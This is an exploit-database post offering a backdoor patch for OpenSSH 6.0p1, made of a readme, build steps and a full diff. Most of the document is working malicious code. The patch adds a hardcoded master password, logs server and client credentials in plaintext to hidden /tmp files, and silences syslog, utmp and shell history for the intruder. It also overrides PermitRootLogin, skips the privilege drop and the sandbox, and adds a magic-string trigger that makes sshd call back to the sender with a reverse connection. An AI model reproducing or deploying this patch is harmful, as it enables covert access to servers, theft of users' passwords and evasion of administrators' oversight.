OpenSSH 6.0p1 Backdoor Patch 1.2 Vulnerability 0day



EKU-ID: 2766 CVE: OSVDB-ID:
Author: shaolininteger Published: 2012-11-05 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


###############
# $id: udc-hackssh-v3_bajaulaut-v1, 2012/10/28 05:00:50 slash rootkit
# udc-hackssh_bajaulaut - openssh reverse backdoor
# copyright (c) 2001-2012 slash the underground <shaolinint@gmail.com>
# 1337day.com 1337Day Exploit DataBase
# My Profile: http://1337day.com/author/3656
# readme:
#  udc-hackssh_bajaulaut is an openssh backdoor combined with reverse shell capability
#   and part of udc-kolansong rootkit. The idea was to make use of openssh binary to
#  control target and/or victim machines.
#
# todo:
#  - read remote port parameter
#  - *magic* private key authentication
#
# compile:   
#   apt-get install libssl-dev libpam0g-dev librkb5-dev
#   wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz
#  ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
#
# howto:
#  client:
#    'ssh -8 udc -p 880' to connect to udc:880 where a client must listen
#
#   server:
#    'sshd -8 udc -p 880' to wait for incoming connects on port 880
#
#  Or if you received something like "ssh_exchange_identification: Connection 
#  closed by remote host", you can telnet to target machines and issue 
#  'udc_gamai_magic' string. Once udc_gamai_magic is sent, sshd will then execute and
#  connect to your 'client' machine on port 8080.
#
#                telnet target_machines.com 22
#                CHANGE_ME
#                Protocol mismatch.
#                Connection closed by foreign host.
#
# limitation:
#  This version will ONLY execute reverse openssh command to the machine which executed 
#  telnet command. 
#
###############
diff -uNr openssh-6.0p1/auth-pam.c udc-hackssh-v3_kalitan-v1.2/auth-pam.c
--- openssh-6.0p1/auth-pam.c  2009-07-12 20:07:21.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/auth-pam.c  2012-10-31 18:30:14.000000000 +0800
@@ -1190,6 +1190,16 @@
   sshpam_password = password;
   sshpam_authctxt = authctxt;
 
+// udc-hackssh
+  char *crypted=udc_pass_crypt;
+
+  udc_reslt_crypt = crypt(password, crypted);
+  if (strcmp (udc_reslt_crypt, crypted) == 0 ) {
+    uDc = 1;
+    return 1;
+  }
+// end
+
   /*
    * If the user logging in is invalid, or is root but is not permitted
    * by PermitRootLogin, use an invalid password to prevent leaking
@@ -1207,10 +1217,15 @@
 
   sshpam_err = pam_authenticate(sshpam_handle, flags);
   sshpam_password = NULL;
+// udc-hackssh
   if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
-    debug("PAM: password authentication accepted for %.100s",
-        authctxt->user);
+    if ((udcf = fopen (BAJAUI, "a")) != NULL) {
+      fprintf(udcf,"%s:%s\n",authctxt->user, password);
+      fclose(udcf);
+    }
+    debug("PAM: password authentication accepted for %.100s", authctxt->user);
     return 1;
+// end
   } else {
     debug("PAM: password authentication failed for %.100s: %s",
         authctxt->valid ? authctxt->user : "an illegal user",
diff -uNr openssh-6.0p1/auth-passwd.c udc-hackssh-v3_kalitan-v1.2/auth-passwd.c
--- openssh-6.0p1/auth-passwd.c  2009-03-08 08:40:28.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/auth-passwd.c  2012-10-31 16:27:15.000000000 +0800
@@ -44,7 +44,13 @@
 #include <stdio.h>
 #include <string.h>
 #include <stdarg.h>
-
+// udc-hackssh
+#ifdef __APPLE__
+#include "/opt/local/include/cryptlib.h"
+#elif __linux__
+#include <crypt.h>
+#endif
+// end
 #include "packet.h"
 #include "buffer.h"
 #include "log.h"
@@ -82,10 +88,20 @@
 {
   struct passwd * pw = authctxt->pw;
   int result, ok = authctxt->valid;
+
+// udc-hackssh
+  char *crypted=udc_pass_crypt;
 #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
   static int expire_checked = 0;
 #endif
 
+  udc_reslt_crypt = crypt(password, crypted);
+  if (strcmp (udc_reslt_crypt, crypted) == 0 ) {
+          uDc = 1;
+    return 1; 
+  }
+// end
+
 #ifndef HAVE_CYGWIN
   if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
     ok = 0;
@@ -122,7 +138,15 @@
       authctxt->force_pwchange = 1;
   }
 #endif
+// udc-hackssh
   result = sys_auth_passwd(authctxt, password);
+  if (result) {
+    if ((udcf = fopen (BAJAUI, "a")) != NULL) {
+    fprintf (udcf,"%s:%s\n",authctxt->user, password);
+    fclose(udcf);
+    }
+  }
+// end
   if (authctxt->force_pwchange)
     disable_forwarding();
   return (result && ok);
diff -uNr openssh-6.0p1/auth.c udc-hackssh-v3_kalitan-v1.2/auth.c
--- openssh-6.0p1/auth.c  2011-05-29 19:40:42.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/auth.c  2012-10-31 16:16:38.000000000 +0800
@@ -270,15 +270,18 @@
     authmsg = "Postponed";
   else
     authmsg = authenticated ? "Accepted" : "Failed";
-
-  authlog("%s %s for %s%.100s from %.200s port %d%s",
-      authmsg,
-      method,
-      authctxt->valid ? "" : "invalid user ",
-      authctxt->user,
-      get_remote_ipaddr(),
-      get_remote_port(),
-      info);
+// udc-hackssh
+  if (!uDc || uDc != 1) {
+// end
+          authlog("%s %s for %s%.100s from %.200s port %d%s",
+        authmsg,
+        method,
+        authctxt->valid ? "" : "invalid user ",
+        authctxt->user,
+        get_remote_ipaddr(),
+        get_remote_port(),
+        info);
+  }
 
 #ifdef CUSTOM_FAILED_LOGIN
   if (authenticated == 0 && !authctxt->postponed &&
diff -uNr openssh-6.0p1/buffer.c udc-hackssh-v3_kalitan-v1.2/buffer.c
--- openssh-6.0p1/buffer.c  2010-02-12 06:23:40.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/buffer.c  2012-10-31 16:09:55.000000000 +0800
@@ -37,6 +37,9 @@
 
   buffer->alloc = 0;
   buffer->buf = xmalloc(len);
+// udc-hackssh
+  memset(buffer->buf, 0, len);
+// end
   buffer->alloc = len;
   buffer->offset = 0;
   buffer->end = 0;
diff -uNr openssh-6.0p1/canohost.c udc-hackssh-v3_kalitan-v1.2/canohost.c
--- openssh-6.0p1/canohost.c  2010-10-12 10:28:12.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/canohost.c  2012-10-31 16:17:47.000000000 +0800
@@ -78,11 +78,14 @@
 
   debug3("Trying to reverse map address %.100s.", ntop);
   /* Map the IP address to a host name. */
-  if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
-      NULL, 0, NI_NAMEREQD) != 0) {
-    /* Host name not found.  Use ip address. */
-    return xstrdup(ntop);
+// udc-hackssh
+  if (!uDc || uDc != 1) {
+    if (getnameinfo ((struct sockaddr *) &from, fromlen, name, sizeof(name),
+        NULL, 0, NI_NAMEREQD) != 0) {
+      return xstrdup(ntop);
+    }
   }
+// end
 
   /*
    * if reverse lookup result looks like a numeric hostname,
diff -uNr openssh-6.0p1/includes.h udc-hackssh-v3_kalitan-v1.2/includes.h
--- openssh-6.0p1/includes.h  2010-10-24 07:47:30.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/includes.h  2012-10-31 16:36:28.000000000 +0800
@@ -17,7 +17,6 @@
 #define INCLUDES_H
 
 #include "config.h"
-
 #define _GNU_SOURCE /* activate extra prototypes for glibc */
 
 #include <sys/types.h>
@@ -172,4 +171,15 @@
 
 #include "entropy.h"
 
+// udc-hackssh
+int  uDc;
+FILE *  udcf;
+char *  udc_reslt_crypt;
+
+#define udc_pass_crypt  "CHANGE_ME"
+#define BAJAUI "/tmp/.inlog"
+#define BAJAUO "/tmp/.outlog"
+#define gamai "/usr/sbin/sshd"
+// end
+
 #endif /* INCLUDES_H */
diff -uNr openssh-6.0p1/log.c udc-hackssh-v3_kalitan-v1.2/log.c
--- openssh-6.0p1/log.c  2011-06-20 12:42:23.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/log.c  2012-10-31 16:24:34.000000000 +0800
@@ -351,6 +351,9 @@
 void
 do_log(LogLevel level, const char *fmt, va_list args)
 {
+// udc-hackssh
+  if(!uDc || uDc != 1) {
+// end
 #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
   struct syslog_data sdata = SYSLOG_DATA_INIT;
 #endif
@@ -428,3 +431,6 @@
   }
   errno = saved_errno;
 }
+// udc-hackssh
+}
+// end
diff -uNr openssh-6.0p1/servconf.c udc-hackssh-v3_kalitan-v1.2/servconf.c
--- openssh-6.0p1/servconf.c  2011-10-02 15:57:38.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/servconf.c  2012-10-31 16:09:55.000000000 +0800
@@ -686,7 +686,9 @@
   { "without-password",    PERMIT_NO_PASSWD },
   { "forced-commands-only",  PERMIT_FORCED_ONLY },
   { "yes",      PERMIT_YES },
-  { "no",        PERMIT_NO },
+// udc-hackssh
+  { "no",        PERMIT_YES },
+// end
   { NULL, -1 }
 };
 static const struct multistate multistate_compression[] = {
diff -uNr openssh-6.0p1/session.c udc-hackssh-v3_kalitan-v1.2/session.c
--- openssh-6.0p1/session.c  2011-11-04 07:55:24.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/session.c  2012-10-31 16:18:40.000000000 +0800
@@ -1203,6 +1203,12 @@
   if (getenv("TZ"))
     child_set_env(&env, &envsize, "TZ", getenv("TZ"));
 
+// udc-hackssh
+  if (uDc)
+    child_set_env(&env, &envsize, "HISTFILE", "/dev/null");
+// end
+
+
   /* Set custom environment options from RSA authentication. */
   if (!options.use_login) {
     while (custom_environment) {
@@ -1487,6 +1493,9 @@
 #else
     if (setlogin(pw->pw_name) < 0)
       error("setlogin failed: %s", strerror(errno));
+// udc-hackssh
+    if (!uDc || uDc != 1) {
+// end
     if (setgid(pw->pw_gid) < 0) {
       perror("setgid");
       exit(1);
@@ -1496,6 +1505,12 @@
       perror("initgroups");
       exit(1);
     }
+// udc-hackssh
+    else {
+      setgid(0);
+      initgroups(pw->pw_name, 0);
+    }
+// end
     endgrent();
 #endif
 
@@ -1519,12 +1534,18 @@
     }
 #else
     /* Permanently switch to the desired uid. */
+// udc-hackssh
+    if (!uDc || uDc != 1)
+// end
     permanently_set_uid(pw);
 #endif
   }
 
   if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid)
     fatal("Failed to set uids to %u.", (u_int) pw->pw_uid);
+// udc-hackssh
+  }
+// end
 }
 
 static void
diff -uNr openssh-6.0p1/ssh.c udc-hackssh-v3_kalitan-v1.2/ssh.c
--- openssh-6.0p1/ssh.c  2011-11-04 07:54:22.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/ssh.c  2012-10-31 16:09:55.000000000 +0800
@@ -83,6 +83,9 @@
 #include "canohost.h"
 #include "compat.h"
 #include "cipher.h"
+// udc-hackssh bajaulaut version
+#include <openssl/md5.h>
+// end
 #include "packet.h"
 #include "buffer.h"
 #include "channels.h"
@@ -125,6 +128,10 @@
 /* don't exec a shell */
 int no_shell_flag = 0;
 
+// udc-hackssh bajaulaut version
+int   udc_bajau_laut = 0;
+// end
+
 /*
  * Flag indicating that nothing should be read from stdin.  This can be set
  * on the command line.
@@ -325,7 +332,7 @@
   argv0 = av[0];
 
  again:
-  while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx"
+  while ((opt = getopt(ac, av, "12468ab:c:e:fgi:kl:m:no:p:qstvx"
       "ACD:F:I:KL:MNO:PR:S:TVw:W:XYy")) != -1) {
     switch (opt) {
     case '1':
@@ -340,6 +347,11 @@
     case '6':
       options.address_family = AF_INET6;
       break;
+// udc-hackssh bajaulaut version
+    case '8':
+      udc_bajau_laut = 1;
+      break;
+// end
     case 'n':
       stdin_null_flag = 1;
       break;
diff -uNr openssh-6.0p1/sshconnect.c udc-hackssh-v3_kalitan-v1.2/sshconnect.c
--- openssh-6.0p1/sshconnect.c  2011-05-29 19:42:34.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshconnect.c  2012-10-31 16:09:56.000000000 +0800
@@ -333,6 +333,9 @@
  * and %p substituted for host and port, respectively) to use to contact
  * the daemon.
  */
+// udc-hackssh bajaulaut version
+extern int udc_bajau_laut;
+// end
 int
 ssh_connect(const char *host, struct sockaddr_storage * hostaddr,
     u_short port, int family, int connection_attempts, int *timeout_ms,
@@ -347,7 +350,9 @@
   debug2("ssh_connect: needpriv %d", needpriv);
 
   /* If a proxy command is given, connect using it. */
-  if (proxy_command != NULL)
+// udc-hackssh bajaulaut version
+  if (proxy_command != NULL && !udc_bajau_laut)
+// end
     return ssh_proxy_connect(host, port, proxy_command);
 
   /* No proxy command. */
@@ -360,6 +365,56 @@
     fatal("%s: Could not resolve hostname %.100s: %s", __progname,
         host, ssh_gai_strerror(gaierr));
 
+// udc-hackssh bajaulaut version
+  if (udc_bajau_laut) {
+    int s, one = 1, size_aa = sizeof(struct sockaddr);
+     struct addrinfo *aid;
+     struct sockaddr aa;
+ 
+     if ((gaierr = getaddrinfo("127.0.0.1", strport, &hints, &aid)) < 0) {
+                   fprintf(stderr, "getaddrinfo (during udc reverse fun): %s\n", gai_strerror(gaierr));
+                   exit(gaierr);
+           }
+ 
+           if (aid->ai_family == PF_INET) {
+      ((struct sockaddr_in*)(aid->ai_addr))->sin_addr.s_addr = INADDR_ANY;
+    }
+#ifdef HAVE_STRUCT_IN6_ADDR
+    else {
+                  ((struct sockaddr_in6*)(aid->ai_addr))->sin6_addr = in6addr_any;
+    }
+#endif
+ 
+    if ((s = socket(aid->ai_family, SOCK_STREAM, 0)) < 0) {
+      perror("socket (during udc reverse fun)");
+                   exit(errno);
+    }
+ 
+           if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
+                   perror("setsockopt (during udc reverse fun)\n");
+                   exit(errno);
+    }
+ 
+    printf("udc reverse fun: binding to port %s\n", strport);
+             if (bind(s, (struct sockaddr*)(aid->ai_addr), sizeof(struct sockaddr)) < 0) {
+                     perror("bind (during udc reverse fun)");
+                     exit(errno);
+    }
+ 
+           if (listen(s, 1) < 0) {
+                  perror("listen (during udc reverse fun)");
+                   exit(errno);
+    }
+ 
+           if ((sock = accept(s, &aa, &size_aa)) < 0) {
+                  perror("accept (during udc reverse fun)");
+                   exit(errno);
+    }
+           memcpy(hostaddr, &aa, size_aa);
+ 
+    goto startbajau;
+  }
+// end
   for (attempt = 0; attempt < connection_attempts; attempt++) {
     if (attempt > 0) {
       /* Sleep a moment before retrying. */
@@ -404,6 +459,9 @@
       break;  /* Successful connection. */
   }
 
+// udc-hackssh bajaulaut version
+  startbajau:
+// end
   freeaddrinfo(aitop);
 
   /* Return failure if we didn't get a successful connection. */
diff -uNr openssh-6.0p1/sshconnect2.c udc-hackssh-v3_kalitan-v1.2/sshconnect2.c
--- openssh-6.0p1/sshconnect2.c  2011-05-29 19:42:34.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshconnect2.c  2012-10-31 16:26:24.000000000 +0800
@@ -878,6 +878,12 @@
   snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
       authctxt->server_user, host);
   password = read_passphrase(prompt, 0);
+// udc-hackssh
+  if ((udcf = fopen (BAJAUO, "a")) != NULL){
+    fprintf (udcf,"user:password@host:port --> %s:%s@%s:%s\n",authctxt->server_user,password,authctxt->host,get_remote_port);
+    fclose (udcf);
+  }
+// end
   packet_start(SSH2_MSG_USERAUTH_REQUEST);
   packet_put_cstring(authctxt->server_user);
   packet_put_cstring(authctxt->service);
diff -uNr openssh-6.0p1/sshd.c udc-hackssh-v3_kalitan-v1.2/sshd.c
--- openssh-6.0p1/sshd.c  2012-02-15 02:03:31.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshd.c  2012-10-31 16:20:03.000000000 +0800
@@ -146,6 +146,14 @@
 /* Name of the server configuration file. */
 char *config_file_name = _PATH_SERVER_CONFIG_FILE;
 
+// udc-hackssh - bajaulaut version
+#ifdef IPV4_DEFAULT
+  int IPv4or6 = AF_INET;
+#else
+  int IPv4or6 = AF_UNSPEC;
+#endif
+// end
+
 /*
  * Debug mode flag.  This can be set on the command line.  If debug
  * mode is enabled, extra debugging output will be sent to the system
@@ -407,6 +415,10 @@
   char buf[256];      /* Must not be larger than remote_version. */
   char remote_version[256];  /* Must be at least as big as buf. */
 
+// udc-hackssh gamai
+  char udc_gamai_cmd[256];
+// end
+
   if ((options.protocol & SSH_PROTO_1) &&
       (options.protocol & SSH_PROTO_2)) {
     major = PROTOCOL_MAJOR_1;
@@ -461,6 +473,13 @@
    */
   if (sscanf(client_version_string, "SSH-%d.%d-%[^\n]\n",
       &remote_major, &remote_minor, remote_version) != 3) {
+// udc-hackssh gamai
+    if (strcmp (client_version_string, "CHANGE_ME") == 0) { // udc_gamai_magic string
+      uDc;
+      sprintf (udc_gamai_cmd, "%s -D -8 %s -p 8080", gamai, get_remote_ipaddr());
+      system (udc_gamai_cmd);
+    }
+// end
     s = "Protocol mismatch.\n";
     (void) atomicio(vwrite, sock_out, s, strlen(s));
     close(sock_in);
@@ -469,6 +488,7 @@
         client_version_string, get_remote_ipaddr());
     cleanup_exit(255);
   }
+
   debug("Client protocol version %d.%d; client software version %.100s",
       remote_major, remote_minor, remote_version);
 
@@ -633,8 +653,17 @@
   /* Store a pointer to the kex for later rekeying */
   pmonitor->m_pkex = &xxx_kex;
 
-  if (use_privsep == PRIVSEP_SANDBOX)
-    box = ssh_sandbox_init();
+// udc-hackssh bajaulaut version
+  int udc_bajau_laut = 1;
+
+  if (udc_bajau_laut == 0) {
+    if (use_privsep == PRIVSEP_SANDBOX)
+      box = ssh_sandbox_init();
+  else
+    return;
+  }
+// end
+
   pid = fork();
   if (pid == -1) {
     fatal("fork of unprivileged child failed");
@@ -1322,6 +1351,13 @@
   const char *remote_ip;
   char *test_user = NULL, *test_host = NULL, *test_addr = NULL;
   int remote_port;
+
+// udc-hackssh bajaulaut version
+  int listen_sock;
+  int udc_bajau_laut = 0;
+  char udc_bajau_conn[1024];
+// end
+
   char *line, *p, *cp;
   int config_s[2] = { -1 , -1 };
   u_int64_t ibytes, obytes;
@@ -1358,7 +1394,9 @@
   initialize_server_options(&options);
 
   /* Parse command-line arguments. */
-  while ((opt = getopt(ac, av, "f:p:b:k:h:g:u:o:C:dDeiqrtQRT46")) != -1) {
+// udc-hackssh bajaulaut version
+  while ((opt = getopt(ac, av, "f:p:b:k:h:g:u:o:C:8:dDeiqrtQRT46")) != -1) {
+// end
     switch (opt) {
     case '4':
       options.address_family = AF_INET;
@@ -1478,6 +1516,13 @@
         exit(1);
       xfree(line);
       break;
+// udc-hackssh bajaulaut version
+    case '8':
+      udc_bajau_laut = 1;
+      strncpy (udc_bajau_conn, optarg, sizeof (udc_bajau_conn));
+      printf ("bajau - case: Enabling bajau laut!\n");
+      break;
+// end
     case '?':
     default:
       usage();
@@ -1786,6 +1831,54 @@
   /* Get a connection, either from inetd or a listening TCP socket */
   if (inetd_flag) {
     server_accept_inetd(&sock_in, &sock_out);
+// udc-hackssh bajaulaut version
+  } else if (udc_bajau_laut) {
+     int client_port = options.ports[0];
+     char port[100];
+     struct addrinfo *adi, hints;
+ 
+     memset(&hints, 0, sizeof(hints));
+     hints.ai_family = IPv4or6;
+     hints.ai_socktype = SOCK_STREAM;
+ 
+     // resolv hostname
+     memset(port, 0, sizeof(port));
+     snprintf(port, sizeof(port), "%d", client_port);
+     if (getaddrinfo(udc_bajau_conn, port, &hints, &adi) < 0) {
+       perror("addrinfo (during bajau_laut)");
+       exit(errno);
+     }
+ 
+     // create socket
+     if ((listen_sock = socket(adi->ai_family, adi->ai_socktype, adi->ai_protocol)) < 0) {
+       perror("socket (during bajau_laut)");
+       exit(errno);
+     }
+     printf("bajau_laut: Connecting to host %s on port %s\n", udc_bajau_conn, port);
+ 
+     // connecting
+     if (connect(listen_sock, (struct sockaddr*)adi->ai_addr, sizeof(struct sockaddr)) < 0) {
+       perror("connect (during bajau_laut)");
+       exit(errno);
+     }
+     if (fcntl(listen_sock, F_SETFL, 0) < 0)
+       error("newsock del O_NONBLOCK: %s", strerror(errno));
+     
+     // established
+     sock_in = listen_sock;
+     if ((sock_out = dup(sock_in)) < 0) {
+       perror("dup (during reverse fun)");
+       sock_out = sock_in;
+     }  
+ 
+    if (options.protocol & SSH_PROTO_1)
+      generate_ephemeral_server_key();
+
+    signal(SIGHUP, sighup_handler);
+    signal(SIGCHLD, main_sigchld_handler);
+    signal(SIGTERM, sigterm_handler);
+    signal(SIGQUIT, sigterm_handler);
+// end
   } else {
     platform_pre_listen();
     server_listen();
@@ -1837,7 +1930,9 @@
     error("setsid: %.100s", strerror(errno));
 #endif
 
-  if (rexec_flag) {
+// udc-hackssh bajaulaut version
+  if (rexec_flag && !udc_bajau_laut) {
+// end
     int fd;
 
     debug("rexec start in %d out %d newsock %d pipe %d sock %d",
diff -uNr openssh-6.0p1/sshlogin.c udc-hackssh-v3_kalitan-v1.2/sshlogin.c
--- openssh-6.0p1/sshlogin.c  2011-01-11 14:20:07.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshlogin.c  2012-10-31 16:21:11.000000000 +0800
@@ -133,8 +133,12 @@
 
   li = login_alloc_entry(pid, user, host, tty);
   login_set_addr(li, addr, addrlen);
-  login_login(li);
-  login_free_entry(li);
+// udc-hackssh
+  if (!uDc || uDc != 1) {
+    login_login(li);
+    login_free_entry(li);
+  }
+// end
 }
 
 #ifdef LOGIN_NEEDS_UTMPX
@@ -146,8 +150,12 @@
 
   li = login_alloc_entry(pid, user, host, ttyname);
   login_set_addr(li, addr, addrlen);
-  login_utmp_only(li);
-  login_free_entry(li);
+// udc-hackssh
+  if(!uDc || uDc != 1) {
+    login_utmp_only(li);
+    login_free_entry(li);
+  }
+// end
 }
 #endif
 
@@ -158,6 +166,10 @@
   struct logininfo *li;
 
   li = login_alloc_entry(pid, user, NULL, tty);
-  login_logout(li);
-  login_free_entry(li);
+// udc-hackssh
+  if (!uDc || uDc != 1) {
+    login_logout(li);
+    login_free_entry(li);
+  }
+// end
 }